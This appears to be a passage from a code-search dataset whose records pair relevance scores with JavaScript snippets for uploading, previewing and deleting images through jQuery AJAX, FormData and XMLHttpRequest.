btn-default btn-file\">Choose Image <input type=\"file\" name=\"product_images[]\" onchange=\"getFilename(this)\" id=\"product_images\" multiple/></span><a href=\"#\" class=\"remove_field\"><span aria-hidden=\"true\"><i class=\"fa fa-trash-o\"></i> Remove</span></a>&nbsp;&nbsp;<span class=\"image_name\" for=\"product_images\"></span></div>'); \n\n\t\t\t\t\t}else if(data.success == false){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( \"#load\" ).hide();\n\t\t\t\t\t\t$(\"#alert-msg\").html(data.notif);\n\t\t\t\t\t\t$(\"#errors\").html(data.upload_error);\n\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t},error: function(xhr, status, error) {\n\t\t\t\t\t$( \"#load\" ).hide();\n\t\t\t\t\talert(error);\n\t\t\t\t\t//location.reload();\n\t\t\t\t},\n\t\t\t});\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "0b47802e913e19dbd9fd517adde5af99", "score": "0.60962754", "text": "function EndCallback(){\n console.log(\"end\");\n $(\"#robotImage\").attr(\"src\",\"assets/happy_logo.png\");\n }", "title": "" }, { "docid": "f7edab285aa47c4f6e18ce512ae1cc19", "score": "0.60894024", "text": "function localDatasend(){\n\tvar imageURI = localStorage.getItem(\"ImgPath\");\n \tvar options = new FileUploadOptions();\n options.fileKey = \"file\";\n options.fileName = imageURI.substr(imageURI.lastIndexOf('/') + 1);\n options.mimeType = \"image/jpeg\";\n var params = new Object();\n options.params = params;\n options.chunkedMode = false;\n var ft = new FileTransfer();\n ft.upload(imageURI, \"http://www.dev.sedarspine.com/en/spineLogisticsApp/MeasurementTransactionLines_UploadImage\", win, fail, options, false);\n localDatasend1();\n}", "title": "" }, { "docid": "54b8890fd1ba189686a368d8fbb4ac01", "score": "0.6088734", "text": "function userUploadImage() {\n //Receive input\n var $img = document.getElementById(\"upload-image\").files[0];\n var fd = new FormData();\n var $count = 1;\n var $count_fd = 0;\n\n if (document.getElementById('s-glasses').checked) {\n $count_fd = $count_fd + 1;\n if ($count_fd == 1) {\n fd.append(\"sp1\", \"glasses\");\n }\n }\n if (document.getElementById('s-hat').checked) {\n $count_fd = $count_fd + 1;\n if ($count_fd == 1) {\n fd.append(\"sp1\", \"hat\");\n } else if ($count_fd == 2) {\n fd.append(\"sp2\", \"hat\");\n }\n }\n if (document.getElementById('s-thumbs').checked) {\n $count_fd = $count_fd + 1;\n if ($count_fd == 1) {\n fd.append(\"sp1\", \"thumb\");\n } else if ($count_fd == 2) {\n fd.append(\"sp2\", \"thumb\");\n } else if ($count_fd == 3) {\n fd.append(\"sp3\", \"thumb\");\n }\n }\n\n if ($count_fd == 0) {\n alert(\"You did not select a sticker.\");\n }\n\n if ($img == undefined) {\n alert(\"Upload an image.\");\n return;\n }\n\n fd.append(\"sps\", $count_fd);\n fd.append(\"action\", \"uploadimg\");\n fd.append(\"upimg\", $img);\n var xmlhttp = new XMLHttpRequest();\n //To be called when we server response is ready\n xmlhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n alert(this.responseText);\n window.location.assign(\"post_image.php\");\n }\n };\n //Sending request to a php file\n xmlhttp.open(\"POST\", \"controller/core.controller.php\", true);\n xmlhttp.send(fd);\n}", "title": "" }, { "docid": "eecc9e31ee9b6d8bc9a44e722e10ece1", "score": "0.60835433", "text": "end() {\n\t\tconst\n\t\t\t{width, height} = this.dest;\n\n\t\tconst\n\t\t\tfData = this.final.data,\n\t\t\tdData = this.dest.data;\n\n\t\tlet idx, idx2;\n\t\tfor (let i = 0; i < width; i++) {\n\t\t\tfor (let j = 0; j < height; j++) {\n\t\t\t\tidx = (j * width + i) * 3;\n\t\t\t\tidx2 = (j * width + i) * 4;\n\t\t\t\tfData[idx2] = dData[idx];\n\t\t\t\tfData[idx2 + 1] = dData[idx + 1];\n\t\t\t\tfData[idx2 + 2] = dData[idx + 2];\n\t\t\t}\n\t\t}\n\n\t\tpostMessage({\n\t\t\tevent: {\n\t\t\t\ttype: 'complete',\n\t\t\t\tdata: {\n\t\t\t\t\tid: this.id,\n\t\t\t\t\timg: this.final,\n\t\t\t\t\twidth: this.dest.width,\n\t\t\t\t\theight: this.dest.height\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "685f0212a392d2bb8e843fb66ca7fbff", "score": "0.6076891", "text": "function handleFileComplete(event){\n $('#hero').append(event.result);\n $('#'+event.item.id).css('background-image','url(' + event.result.currentSrc + ')')\n $('#'+event.item.id).animate({'height':200},200);\n }", "title": "" }, { "docid": "c338e802e19fe52da0f49726e41f383d", "score": "0.6073194", "text": "function prepareUpload() {\n\t\tuploaded = false;\n\t\tajaxFileUpload();\n\t}", "title": "" }, { "docid": "bf18bc2f90df4c68e3ce4060c63bc8b8", "score": "0.6068631", "text": "function sendHtmlToServer( formData , status , obj , type , data2)\n{\n var time = new Date();\n var s = time.getFullYear().toString() + \n ( time.getMonth() + 1 ).toString() + \n time.getDate() + time.getHours().toString() + \n time.getMinutes().toString() + \n time.getSeconds().toString() + \n time.getMilliseconds().toString();\n\n console.log( s );\n\n //console.log( \"obj.attr('un') = \" + obj.attr('un') );\n\n //search_parent( obj , \".state\" );\n //console.log( \"state = \" + $.state );\n /*if( type === \"png\" || type === \"jpg\" || type === \"gif\" )\n var filetype = \"img\";\n else if( type === \"mp4\" )\n var filetype = \"mp4\";*/\n //opts.obj = obj;\n \n //var uploadURL ='php/user_upload_image.php?id=' + $(\"#id\").val() ;\n\t /* ++ abin ++ */\n if( $.upload_file.upload == \"transient_file\" ) {\n console.log( \"$.upload_file.transient_file = \" + $.upload_file.transient_file );\n var uploadURL ='php/user_upload_image.php?upload=' + $.upload_file.upload + \"&subname=\" + $.upload_file.subname + \"&transient_file=\" + $.upload_file.transient_file + \"&ttshow=\" + getCookie( \"ttshow\" );\n } else if( $.upload_file.upload == \"CloudDisk\" ) {\n var uploadURL ='php/user_upload_image.php?upload=' + $.upload_file.upload + \"&ttshow=\" + getCookie( \"ttshow\" );\n } else {\n var uploadURL ='php/user_upload_image.php?id=' + $.UserMsg.email;\n }\n\t /*-- abin -- */\n var extraData ={}; //Extra Data.\n var jqXHR=$.ajax({\n xhr: function() {\n var xhrobj = $.ajaxSettings.xhr();\n if (xhrobj.upload) {\n xhrobj.upload.addEventListener('progress', function(event) {\n var percent = 0;\n var position = event.loaded || event.position;\n var total = event.total;\n if (event.lengthComputable) {\n percent = Math.ceil(position / total * 100);\n }\n //Set progress\n status.setProgress(percent);\n }, false);\n }\n return xhrobj;\n },\n url: uploadURL,\n type: \"POST\",\n contentType:false,\n processData: false,\n cache: false,\n data: formData,\n data2 : data2,\n //dataType: \"json\",\n success: function(data){\n console.log( data2 );\n if( this.data2.id == \"transient_file\" && data.search(\"http\") != -1 ) {\n data = JSON.parse( data );\n var d = new Date();\n $(\"#\"+data2.target).css(\"background-image\",\"url(\" + data.http + \"?\" + d.getTime() + \")\");\n $(\"#\"+data2.target).attr(\"img\", data.http );\n $(\"#\"+data2.target).attr(\"src\", data.http );//bohan0525++\n $.upload_file.transient_file = data.filename;\n $.upload_file.beforeunload[data2.target] = data.filename;\n \n if( data2.target == \"upload_now\" ) {\n $(\"#\"+data2.target).parent().css(\"background\",\"white\");\n }\n } else if( this.data2.id == \"ttshow_cloud_disk\" ) {\n try {\n var data = JSON.parse( data );\n if( data.success ) {\n var clone = $(\"#ttshow_img_list_example_model\").clone();\n clone.removeAttr(\"id\");\n clone.css(\"background-image\",\"url(\" + data.http + \")\");\n clone.css(\"display\",\"block\");\n $( \"#ttshow_img_list_space\" ).prepend( clone );\n $(\"#ttshow_img_list_space div\").unbind('click').bind( 'click' , $.ttshow_change_img_event );\n } else {\n console.log( \"error !!\");\n }\n } catch(e) {\n\n }\n }\n \n $(\"#transient_file_upload_loading\").css(\"display\",\"none\");\n $(\"#upload_cover_img\").unbind('click').bind( 'click' , function() {\n $(\"#transient_file\").click();\n });\n /*\n else if( this.data2.id == \"apply_channel_form\" && data.search(\"http\") != -1 ) {\n $(\"#apply_channel_form\").find(\"#user_uploadIcon_c\").attr(\"src\",data);\n $(\"#apply_channel_form\").find(\"#user_uploadIcon_o\").css(\"display\",\"none\");\n $(\"#apply_channel_form\").find(\"#user_uploadIcon_c\").css(\"display\",\"block\");\n } else if( this.data2.id == \"apply_member_form\" && data.search(\"http\") != -1 ) {\n $(\"#apply_member_form\").find(\"#user_uploadIcon_c\").attr(\"src\",data);\n $(\"#apply_member_form\").find(\"#user_uploadIcon_o\").css(\"display\",\"none\");\n $(\"#apply_member_form\").find(\"#user_uploadIcon_c\").css(\"display\",\"block\");\n } else if( this.data2.id == \"user_uploadCover_photo\" && data.search(\"http\") != -1 ) {\n $(\"#user_uploadCover_photo_c\").attr(\"src\",data);\n $(\"#user_uploadCover_photo_o\").css(\"display\",\"none\");\n $(\"#user_uploadCover_photo_c\").css(\"display\",\"block\");\n } else if( this.data2.id == \"myModalEditSpecial_uploadIcon\" && data.search(\"http\") != -1 ) {\n $(\"#CheckSpecial_drop_img_c\").attr(\"src\",data);\n $(\"#CheckSpecial_drop_img_o\").css(\"display\",\"none\");\n $(\"#CheckSpecial_drop_img_c\").parent().css(\"display\",\"block\");\n }\n */\n if( typeof(data) == \"String\" && data.search(\"Maximum execution time of 300 seconds exceeded\") ) {\n alert(\"Maximum execution time of 300 seconds\");\n }\n console.log( data );\n }\n });\n\n status.setAbort(jqXHR);\n}", "title": "" }, { "docid": "d311ad2240f11d0df1048de1307989c8", "score": "0.60600066", "text": "function uploadLocal() {\n console.log(\"ENTRAMOS!\");\n //var files = $(this)[0].files;\n\n $(\".retorno-upload\").css(\"padding-bottom\", \"24px\");\n\n $(\".retorno-upload\").html(\n `<img src=\"assets/images/loading.gif\" style=\"width:32px;height:auto;\"> Estamos enviando suas imagens, aguarde.`\n );\n\n /* Efetua o Upload \n $('.fileForm').ajaxForm({\n dataType: 'json',\n success: processJson \n }).submit();\n */\n}", "title": "" }, { "docid": "958df6aade0de6f83b8c7a4808f86969", "score": "0.60565424", "text": "function uploadDone() {\n try {\n document.getElementById('modifySingleUserPhoto').submit();\n } catch (ex) {\n alert(\"Error submitting form\");\n }\n}", "title": "" }, { "docid": "f2ae08cedb6ee2dc605aeba4cdf65e50", "score": "0.6051017", "text": "tryAjaxUpload(callback, isBinary, base64Code) {\n const self = this;\n this. __dispatch('imageuploading',this.files[0]);\n const done = function(res) {\n if(typeof callback === 'function') {\n callback();\n }\n self.uploading = false;\n self.cancel();\n self.__dispatch('imageuploaded',res, self.data);\n };\n const errorUpload = function(err) {\n self.__dispatch('errorhandle', err);\n };\n if (!this.isXhr) {\n if(this.crop) {\n this.hasImage = false;\n }\n console.log(base64Code)\n return done({\n src: base64Code\n });\n }\n let data;\n if (isBinary) {\n data = {\n type: this.files[0]['type'],\n filename: this.files[0]['name'],\n filed: this.inputOfFile,\n base64Code: base64Code\n };\n if (typeof this.data === 'object') {\n data = Object.assign(this.data, data);\n }\n } else {\n data = new FormData();\n for (let i=0;i<this.files.length;i++) {\n data.append(this.name, this.files[i]);\n }\n if (typeof this.data === 'object') {\n for(let k in this.data) {\n if(this.data[k] !== undefined) {\n data.append(k,this.data[k]);\n }\n }\n }\n }\n core_image_xhr__WEBPACK_IMPORTED_MODULE_0___default()('POST',this.url, this.headers, data, done, errorUpload, isBinary, this.credentials);\n }", "title": "" }, { "docid": "448467639d6e01a76a0d5d82fd9775da", "score": "0.60481524", "text": "function deleteimage21(large_image, thumbnail_image)\n{\n\tloadingmessage('Please wait, deleting images...', 'show');\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: image_handling_file,\n\t\tdata: 'a=delete&large_image='+large_image+'&thumbnail_image='+thumbnail_image,\n\t\tcache: false,\n\t\tsuccess: function(response)\n\t\t{\n\t\t\t$('#nome_img_cropada21').val('');\n\t\t\t$('#nome_img21').val('');\n\t\t\tloadingmessage('', 'hide');\n\t\t\tresponse = unescape(response);\n\t\t\tvar response = response.split(\"|\");\n\t\t\tvar responseType = response[0];\n\t\t\tvar responseMsg = response[1];\n\t\t\tif(responseType==\"success\")\n\t\t\t{\n\t\t\t\t$('#upload_status21').show().html('<h1>Success</h1><p>'+responseMsg+'</p>');\n\t\t\t\t$('#uploaded_image21').html('');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$('#upload_status21').show().html('<h1>Unexpected Error</h1><p>Please try again</p>'+response);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "0706e05cae9bb5bca1e7117bf9408688", "score": "0.6034493", "text": "function uploadImage(imageDom, file) {\n \n var formData = new FormData(),\n $imageDom = $(imageDom),\n imageId = $imageDom.attr('data-id'),\n $fileInput = $('#upload_image_input'),\n userId = $fileInput.attr('data-user-id'),\n ajaxUrl = $fileInput.attr('data-url'),\n token = $('meta[name=\"csrf-token\"]').attr('content');\n \n formData.append('image', file);\n formData.append('user_id', userId);\n formData.append('_token', token);\n\n\n window.uploadRequests[imageId] = $.ajax({\n\n xhr: () => {\n\n var xhr = $.ajaxSettings.xhr();\n\n xhr.upload.onprogress = (event) => {\n\n if (event.lengthComputable) {\n\n var currentProgress = (event.loaded / event.total) * 100,\n $image = $('.uploaded-image[data-id=\"' + imageId + '\"]'),\n $progressbar = $image.find('.progress');\n\n $progressbar.progress({\n percent: currentProgress\n });\n \n if (currentProgress == 100) {\n\n $image.find('.cancel-upload').remove();\n\n }\n\n }\n\n };\n\n return xhr;\n\n },\n url: ajaxUrl,\n method: 'POST',\n data: formData,\n processData: false,\n contentType: false,\n timeout: 30000,\n success: function (response) {\n\n var $image = $('.uploaded-image[data-id=\"' + imageId + '\"]'),\n $progressbar = $image.find('.progress'),\n $message = $image.find('.error-message');\n \n if (response.success == false) {\n\n $progressbar.progress('set error');\n $message\n .removeClass('hidden')\n .text(response.message[0]);\n\n }\n \n },\n error: function (error) {\n\n var $image = $('.uploaded-image[data-id=\"' + imageId + '\"]'),\n $progressbar = $image.find('.progress'),\n $message = $image.find('.error-message');\n\n if (error.statusText != \"abort\") {\n\n $progressbar.progress('set error');\n $message.text('Upload has been failed').removeClass('hidden');\n\n }\n\n },\n complete: function () {\n delete window.uploadRequests[imageId];\n }\n });\n\n }", "title": "" }, { "docid": "d3d3e81898e49183c8d770887e17dbca", "score": "0.6029208", "text": "function deleteimage11(large_image, thumbnail_image)\n{\n\tloadingmessage('Please wait, deleting images...', 'show');\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: image_handling_file,\n\t\tdata: 'a=delete&large_image='+large_image+'&thumbnail_image='+thumbnail_image,\n\t\tcache: false,\n\t\tsuccess: function(response)\n\t\t{\n\t\t\t$('#nome_img_cropada11').val('');\n\t\t\t$('#nome_img11').val('');\n\t\t\tloadingmessage('', 'hide');\n\t\t\tresponse = unescape(response);\n\t\t\tvar response = response.split(\"|\");\n\t\t\tvar responseType = response[0];\n\t\t\tvar responseMsg = response[1];\n\t\t\tif(responseType==\"success\")\n\t\t\t{\n\t\t\t\t$('#upload_status11').show().html('<h1>Success</h1><p>'+responseMsg+'</p>');\n\t\t\t\t$('#uploaded_image11').html('');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$('#upload_status11').show().html('<h1>Unexpected Error</h1><p>Please try again</p>'+response);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "630a89c92a03ae00ceaf33165fd2b0f8", "score": "0.60256606", "text": "function deleteimage13(large_image, thumbnail_image)\n{\n\tloadingmessage('Please wait, deleting images...', 'show');\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: image_handling_file,\n\t\tdata: 'a=delete&large_image='+large_image+'&thumbnail_image='+thumbnail_image,\n\t\tcache: false,\n\t\tsuccess: function(response)\n\t\t{\n\t\t\t$('#nome_img_cropada13').val('');\n\t\t\t$('#nome_img13').val('');\n\t\t\tloadingmessage('', 'hide');\n\t\t\tresponse = unescape(response);\n\t\t\tvar response = response.split(\"|\");\n\t\t\tvar responseType = response[0];\n\t\t\tvar responseMsg = response[1];\n\t\t\tif(responseType==\"success\")\n\t\t\t{\n\t\t\t\t$('#upload_status13').show().html('<h1>Success</h1><p>'+responseMsg+'</p>');\n\t\t\t\t$('#uploaded_image13').html('');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$('#upload_status13').show().html('<h1>Unexpected Error</h1><p>Please try again</p>'+response);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "92882e005f62f37f0736674c416b22f0", "score": "0.60239166", "text": "function deleteimage12(large_image, thumbnail_image)\n{\n\tloadingmessage('Please wait, deleting images...', 'show');\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: image_handling_file,\n\t\tdata: 'a=delete&large_image='+large_image+'&thumbnail_image='+thumbnail_image,\n\t\tcache: false,\n\t\tsuccess: function(response)\n\t\t{\n\t\t\t$('#nome_img_cropada12').val('');\n\t\t\t$('#nome_img12').val('');\n\t\t\tloadingmessage('', 'hide');\n\t\t\tresponse = unescape(response);\n\t\t\tvar response = response.split(\"|\");\n\t\t\tvar responseType = response[0];\n\t\t\tvar responseMsg = response[1];\n\t\t\tif(responseType==\"success\")\n\t\t\t{\n\t\t\t\t$('#upload_status12').show().html('<h1>Success</h1><p>'+responseMsg+'</p>');\n\t\t\t\t$('#uploaded_image12').html('');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$('#upload_status12').show().html('<h1>Unexpected Error</h1><p>Please try again</p>'+response);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "22938044e56ae92a68da43a0946aa7f4", "score": "0.6019549", "text": "function startUpload() {\n\t\t$('#loaderContainer').show();\n\t\ttotalUploaded = filesUploaded = 0;\n\t\tuploadNext();\n\t}", "title": "" }, { "docid": "40aa05b4f0dbeef9e968fa3d21875d5b", "score": "0.6014331", "text": "function cancelImageUpload() { \r\n window.location = baseurl;\r\n}", "title": "" }, { "docid": "04ae101f7e5988e98777e51835f8ec16", "score": "0.5999388", "text": "_requestEndOfBody() {\n this._uploadCompleteFlag = true;\n\n if (this._uploadListenerFlag) {\n // If no listeners were registered before send(), these steps do not run.\n const length = this._getRequestBodySize();\n const transmitted = length;\n this._fireUploadEvent('progress', transmitted, length);\n this._fireUploadEvent('load', transmitted, length);\n this._fireUploadEvent('loadend', transmitted, length);\n }\n }", "title": "" }, { "docid": "8f36ee66375adc9b9219f2a9fae006fd", "score": "0.59982806", "text": "function appendNewImage(data) {\n var $imagesRow = $('.images-row');\n if (data.success) {\n var imagesHtml = '';\n resetFileInput();\n imagesHtml += '<div class=\"col-sm-4 image-col\"><image class=\"img img-responsive upload-image\" src=\"' + websiteUrl + data.images.path + '\"></div>';\n if($imagesRow.find('img').length > 0) {\n $('.images-row').append(imagesHtml);\n } else {\n $('.images-row').html(imagesHtml);\n }\n $alerts.css({'display' : 'none'});\n $alertsContainer.find('.alert-success').css({'display' : 'block'}).html(alertMessages.uploadSuccess);\n hideSuccessMessage();\n } else {\n $alerts.css({'display' : 'none'});\n $alertsContainer.find('.alert-danger').css({'display' : 'block'}).html(data.error);\n }\n }", "title": "" }, { "docid": "68994a093cc6f462b011e59678399379", "score": "0.5995365", "text": "function cancelUpload()\n{\n var fname=$(\"#upload_done\").attr(\"filename\");\n\n if(!fname)\n return;\n\n $.ajax({\n url:\"uploader_back.php?ul_fun=cancelUpload&file=\"+fname,\n cache:false\n }).done(function(ret_val){\n });\n}", "title": "" }, { "docid": "98988fccfea1e9489292a329bbab8ed6", "score": "0.59952855", "text": "uploadFailure(imgEle, args, e) {\n detach(imgEle);\n if (this.popupObj) {\n this.popupObj.close();\n }\n this.parent.trigger(imageUploadFailed, e);\n }", "title": "" }, { "docid": "9140c48dd69bc42638919b45ca6be3e1", "score": "0.59914404", "text": "function HttpUploadProgressEvent() { }", "title": "" }, { "docid": "9140c48dd69bc42638919b45ca6be3e1", "score": "0.59914404", "text": "function HttpUploadProgressEvent() { }", "title": "" }, { "docid": "af5467c2edb300f993ed319cc517bdb6", "score": "0.5990413", "text": "function handleUpload() {\n if (this.files && this.files.length) {\n var file = this.files[0];\n if (/^image\\/\\w+$/.test(file.type)) {\n processImage(file);\n upload.value = '';\n } else {\n h1.innerHTML = 'Please choose<br> an image file.';\n }\n }\n }", "title": "" }, { "docid": "8babda23ff6673128179832b11528083", "score": "0.59812695", "text": "function onAttachmentFileComplete(e, file, response) {\n var productId = $(\"#productId\").val();\n //Refresh uploaded files list\n $.product.imageAttachments.refreshAttachmentsList(productId);\n\n var result = JSON.parse(response);\n\n if (response.trim() === \"\" || result.error !== null) {\n $(this).parents(\"form\").find(\".filelist.queue\")\n .find(\"li[data-index=\" + file.index + \"]\").addClass(\"error\")\n .find(\".progress\").text(response.trim());\n } else {\n var $target = $(this).parents(\"form\").find(\".filelist.queue\").find(\"li[data-index=\" + file.index + \"]\");\n $target.find(\".file\").text(file.name);\n $target.find(\".progress\").remove();\n $target.find(\".cancel\").remove();\n $target.appendTo($(this).parents(\"form\").find(\".filelist.complete\")); //- NOTE: this will be added by refreshing AttachmentsList\n //alert(\"File uploaded successfully!\");\n }\n }", "title": "" }, { "docid": "b8fbff3ce502e3d32605abf174b2fca3", "score": "0.5974512", "text": "function Save_Images_To_File(url_var, message_box){\r\n\r\n// Do query for save images list\r\n $.ajax({\r\n url: url_var,\r\n// context: document.body,\r\n\r\n// Get url of selected item\r\n// data: { url: node.data.url, flag: flag },\r\n data: { image_block: $.base64.encode(buffer) },\r\n\r\n// Load images to \"images_list\" container\r\n success: function(data){\r\n// Update images block\r\n// $(\"#images_list\").html('Succesfully loaded...');\r\n $( message_box ).html(data);\r\n }\r\n});\r\n\r\n\r\n\r\n}", "title": "" }, { "docid": "5439ebe2c036820ecdbbb2cdad45881b", "score": "0.59663206", "text": "function finalSubmit() {\n $.ajax({\n url: \"ping\",\n cache: false,\n async: true,\n error: function(XMLHttpRequest, textStatus, errorThrown) {\n saveData();\n },\n success: function(){\n saveData();\n uploadData();\n //submitData();\n }\n });\n}", "title": "" }, { "docid": "823faf4423d5a1131a111e19d6cad05e", "score": "0.5961241", "text": "function uploadComplete(evt) {\n var respo = JSON.parse(evt.target.response);\n if (scope.multiple == true) {\n\n // Push uploaded files to model\n _.each(respo.data.uploaded, function (val) {\n scope.model.push(val);\n });\n\n } else {\n scope.model = respo.data.uploaded[0];\n }\n setProgressFlag();\n }", "title": "" }, { "docid": "0724c04dbf265c4fb60759a7e87dec67", "score": "0.59603584", "text": "function upload()\n{\n $(\"#photo-upload\").submit();\n}", "title": "" }, { "docid": "b6ab87c671bfb19bcf23fb42b55a6e71", "score": "0.59586453", "text": "function queueComplete(numFilesUploaded) {\n\t\t$(\"#uploadThrobber\").hide()\n\t\tShared.Common.ShowUserMessages(Shared.UploadManager.UserMessages);\n\t\t//watch the order of these statements...\n\t\tvar targetDiv = $(\"#\" + this.customSettings.target_div);\n\t\tvar audioListContainer = $(\"#\" + this.customSettings.container_div);\n\t\t$(\"#uploadWindow\").dialog('close').dialog('destroy');\n\t\tShared.UploadManager.CancelAllUploads();\n\t\taudioListContainer.html(Shared.Common.ProgressImage);\n\t\tShared.AudioWorkList.RefreshAudioWorks(audioListContainer);\n\t}", "title": "" }, { "docid": "94fb4e9f5bff9a3b3a4b6a94f90e253c", "score": "0.5952985", "text": "function onPhotoDataSuccess(imageData) {\n var smallImage = document.getElementById('smallImage');\n\n // Unhide image elements\n //\n smallImage.style.display = 'block';\n\n // Show the captured photo\n // The in-line CSS rules are used to resize the image\n //\n smallImage.src = \"data:image/jpeg;base64,\" + imageData;\n\n $(\".btnCompartilhar\").hide();\n $(\".loading-upload\").show();\n $.post('http://imagens.app.dev.atencaobasica.org.br/upload.php',{imagem: imageData},function(data){\n //alert(data)\n upload_foto = data;\n $(\".btnCompartilhar\").show();\n $(\".loading-upload\").hide();\n })\n }", "title": "" }, { "docid": "6d69b6ce25c8105dd66087bdff23a30d", "score": "0.5946242", "text": "function uploadImage(id){\n\t\tvar archivos = document.getElementById(\"fileImagen\");//Damos el valor del input tipo file\n \t\tvar archivo = archivos.files;\n\t\t\n\t\tif(window.XMLHttpRequest) {\n \t\t\tvar Req = new XMLHttpRequest();\n \t\t}else if(window.ActiveXObject) { \n \t\t\tvar Req = new ActiveXObject(\"Microsoft.XMLHTTP\");\n \t\t}\n\t\t\n\t\tvar data = new FormData();\n\t\n\t\t//cargamos los atributos de la imagen\n\t\tdata.append('archivo',archivo[0]);\n\t\t\n\t\t//abrimos la conexion para subir una imagen\n\t\tReq.open(\"POST\", \"../admin/sporttv/uploadImage\", true);\n\t\t//verificamos si se executo correctamente el metodo\n\t\tReq.onload = function(Event) {\n\t\t\t//Validamos que el status http sea ok \n\t\t\tif (Req.status == 200) {\n \t \t\t\t//Recibimos la respuesta de php\n\t\t\t\tnameImage = Req.responseText;\n\t\t\t\tif(idImagenBarArray.length == 0 || contBar == 0 ){\n\t\t\t\t\tajaxSaveSporttv(id,nameImage,0,0);\n\t\t\t\t} else {\n\t\t\t\t\tuploadImageBar(id,nameImage);\n\t\t\t\t}\n\t\t\t} else { \n \t\t\t\t//console.log(Req.status); //Vemos que paso.\n\t\t\t} \t\t\n\t\t};\n\t\t//Enviamos la petición \n \t\tReq.send(data);\t\t\t\n\t}", "title": "" }, { "docid": "57563897ebcf59b0782b012cabb20254", "score": "0.59450346", "text": "function createUploader(){ \n var uploader = new qq.FileUploaderBasic({\n button: $('#uploader')[0],\n action: 'php/php.php',\n allowedExtensions: ['jpg', 'jpeg', 'png', 'gif'],\n debug: true,\n onComplete: function(id, fileName, responseJSON){\n\n \t//THIS PART IS IMPORTANT AND MUST BE IMPLEMENTED IN FINAL SCRIPT\n \t//put the uploaded image inside the frame and make it jqueryUI dragable\n $('.photoframe').append(\"<img id='userImg' src='php/uploads/\"+fileName+\"' />\");\n $('#userImg').load(\n \tfunction(){\n\t \tphotoMaxH = $('#userImg').height();\n\t \tphotoMaxW = $('#userImg').width();\n\t \tconsole.log(\"set initial height = \" + $('#userImg').height() + \" & initial width = \" + $('#userImg').width() );\n\n\t });\n $('#userImg').draggable().css({cursor : \"move\"});\n\n //make zoom slider\n\t\t\t\t\t$('#zoomSlider').slider({ \n\t\t\t\t\t\tmax: 150, \n\t\t\t\t\t\tmin: 25, \n\t\t\t\t\t\tvalue: 100, \n\t\t\t\t\t\tslide: function(event, ui) { \n\t\t\t\t\t\t\tvar xW = (ui.value/100)*photoMaxH + \"px\"\n\t\t\t\t\t\t\t$('.photoframe').children('img').attr({\n\t\t\t\t\t\t\t\twidth: xW\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n //hide the uploader input TODO:make a cancel button in the UI to bring this back and clear the previously uploaded image\n $('#uploader').hide();\n\n\n //unimportant log showing filename for my reference\n console.log(\"id: \" + id + \", fileName: \" + fileName + \", responseJSON: \" + responseJSON);\n }\n }); \n }", "title": "" }, { "docid": "dc2bab8fbc4fb07c8f9000892a068ff8", "score": "0.59431815", "text": "function generarArchivoFinal() {\n $('#btnCargaImagen').attr('disabled', true);\n if (this._validaPluging) {\n if (this._MatrizImagenes.length > 0) {\n evaluaMatriz();\n if (this._ConteoMatrizImagen == -1 || this._ConteoMatrizImagen == 0) {\n $('#lblResumen').text(\"Debe escanear por lo menos un archivo.\");\n } else {\n var tipoGeneracion = $(\"input[name='gender']:checked\").val();\n if (tipoGeneracion == \"IMG\") {\n\n $('#lblResumen').text(\"Empaquetando y enviando imagen(es).\");\n var fd = new FormData();\n for (i = 0; i < _MatrizImagenes.length; i++) {\n if (_MatrizImagenes[i] != null) {\n var Imagen = convertirStrinMatriz(this._MatrizImagenes[i].getBitsImagen(), 'image/jpeg');\n Imagen.filename = \"Imagen\" + i;\n fd.append(\"ImagenEscanner\", Imagen);\n }\n }\n sleep(1000);\n $.ajax({\n url: \"../Radicacion/subirArchivos?xIDSession=0\",\n data: fd,\n secureuri: false,\n type: 'POST',\n processData: false,\n contentType: false,\n dataType: 'JSON',\n success: function (data, status) {\n if (data.objResultado.length > 0) {\n\n var objResultado = data.objResultado;\n if (objResultado.ResultadoProceso) {\n for (var i = 0; i < objResultado.objResultado.length; i++) {\n lstSoportes.push(objResultado.objResultado[i]);\n }\n cargarListadoSoportes();\n } else {\n mostrarMensaje(2, objResultado.MensajeProceso);\n }\n setTimeout(function () {\n $('#fileAbjunto').fileinput('reset');\n $('#fileAbjunto').fileinput('refresh');\n }, 300);\n $('#lblResumen').text(\"Imagen(es) subida(s).\");\n\n }\n },\n error: function (data, status, e) {\n console.log(\"error al ejecutar proceso final.\" + e.message);\n }\n });\n }\n if (tipoGeneracion == \"PDF\") {\n var NombreImagenes = \"\";\n for (i = 0; i < _MatrizImagenes.length; i++) {\n if (_MatrizImagenes[i] != null) {\n NombreImagenes += this._MatrizImagenes[i].getNombreArchivo() + \"+\";\n }\n }\n ProcesoLocal(18, null, 0, 0, NombreImagenes); // Inicia proceso de generacion de pdf\n }\n }\n } else {\n this.mostrarMensaje(\"Debe escanear por lo menos un archivo.\", 1);\n }\n } else {\n this.mostrarMensaje(\"El complemento no se ha iniciado.\", 0);\n }\n return false;\n}", "title": "" }, { "docid": "54285389afec65438565478d09a6bdb1", "score": "0.5940118", "text": "function uploadPhoto(evt) {\n evt.preventDefault();\n\n var thisForm = this;\n var thisAction = this.action;\n var thisPhotoInput = this.firstElementChild;\n var recipeID = thisPhotoInput.nextElementSibling.nextElementSibling.value;\n var uploadButton = $(this).siblings(\"button.upload-button\");\n\n\n var form_data = new FormData(thisForm);\n if (form_data.get('photo').name && (form_data.get('photo').type==\"image/jpeg\" || form_data.get('photo').type==\"image/png\")) 